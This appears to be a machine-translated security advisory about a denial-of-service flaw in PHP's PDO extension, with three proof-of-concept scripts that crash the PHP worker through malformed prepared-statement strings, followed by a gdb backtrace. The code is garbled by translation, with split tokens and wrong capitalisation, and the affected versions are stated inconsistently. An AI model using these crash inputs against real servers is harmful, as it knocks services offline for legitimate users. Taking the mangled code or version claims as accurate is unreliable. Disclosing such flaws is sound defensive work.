Php pdo memory access conflict Denial of Service Vulnerability

Release date: 2012-08-02
Updated on:

Affected Systems:
PHP 5.3.x
PHP 5.2.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54777

PHP is an embedded HTML language. PHP is similar to Microsoft's ASP. It is a script language that is executed on the server side and embedded in HTML documents, the language style is similar to the C language and is widely used by many website programmers.

PHP 5.4.3 and other versions have a remote denial of service vulnerability. Attackers can exploit this vulnerability to cause a Web server crash and DoS attacks to legitimate users.

<* Source: 0x721427D8
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

0x721427D8 () provides the following test methods:

<? Php
Try {
$ Db = new PDO ('mysql: host = localhost; dbname = aws', "root ","");
// Tokens:
// SELECT; *; from; 'user ';/*
// $ SQL = "SELECT * from 'user '/*";
$ Stmt = $ db-> prepare ("SELECT * from 'user'". mysql_real_escape_string ($ _ GET ['query']);
$ Stmt-> execute ();
// Crash
$ Stmt-> bindColumn (2, $ type, PDO: PARAM_STR, 256 );
$ Stmt-> fetch (PDO: FETCH_BOUND );
Print_r ($ type );
}
Catch (Exception $ e)
{
Echo "Failed:". $ e-> getMessage ();
}
?>
-----
<? Php
Try {
$ Db = new PDO ('mysql: host = localhost; dbname = aws', "root ","");

// Tokens:
// SELECT; *; from; 'user ';/*
$ SQL = ":/*";

$ Stmt = $ db-> prepare ($ SQL );
$ Stmt-> execute (); // crashes php worker in pdo_parse_params ()

$ Stmt-> bindColumn (2, $ type, PDO: PARAM_STR, 256 );
$ Stmt-> fetch (PDO: FETCH_BOUND );
Print_r ($ type );

} Catch (Exception $ e ){
Echo "Failed:". $ e-> getMessage ();
}

?>
---

<Pre>
<? Php
Echo "hmm beginning \ n ";
Try {
$ Db = new PDO ('mysql: host = localhost; dbname = aws', "root ","");
Echo "lets get it on \ n ";
// Tokens:
// SELECT; *; from; 'user ';/*
$ SQL = "SELECT * from user :/**";
Echo $ SQL;
$ Stmt = $ db-> prepare ($ SQL );
Echo "prepared :) \ n ";
Print_r ($ stmt );
$ Stmt-> execute (); // crashes php worker in pdo_parse_params ()
Print_r ($ stmt );
Echo "executed :( \ n ";
$ Stmt-> bindColumn (2, $ type, PDO: PARAM_STR, 256 );
$ Stmt-> fetch (PDO: FETCH_BOUND );
Echo "-- data-\ n ";
Print_r ($ type );
Echo "-- data -- \ n ";

} Catch (Exception $ e ){
Echo "EXCEPTION ";
Echo "Failed:". $ e-> getMessage ();
}
Echo "hmmm end \ n ";
?>
</Pre>

Actual result:
--------------
Root @ bt:/opt/lampp # gdb./bin/php
(Gdb) run poc_pdo_linux_short_1.php
Starting program:/opt/lampp/bin/php/opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(Gdb) bt
#0 0x08228a81 in ?? ()
#1 0x082280eb in pdo_parse_params ()
#2 0x08223891 in ?? ()
#3 0x084b2aad in ?? ()
#4 0x084b1f87 in execute ()
#5 0x08490ed2 in zend_execute_scripts ()
#6 0x0843f13c in php_execute_script ()
#7 0x08506b46 in main ()

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

PHP
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.php.net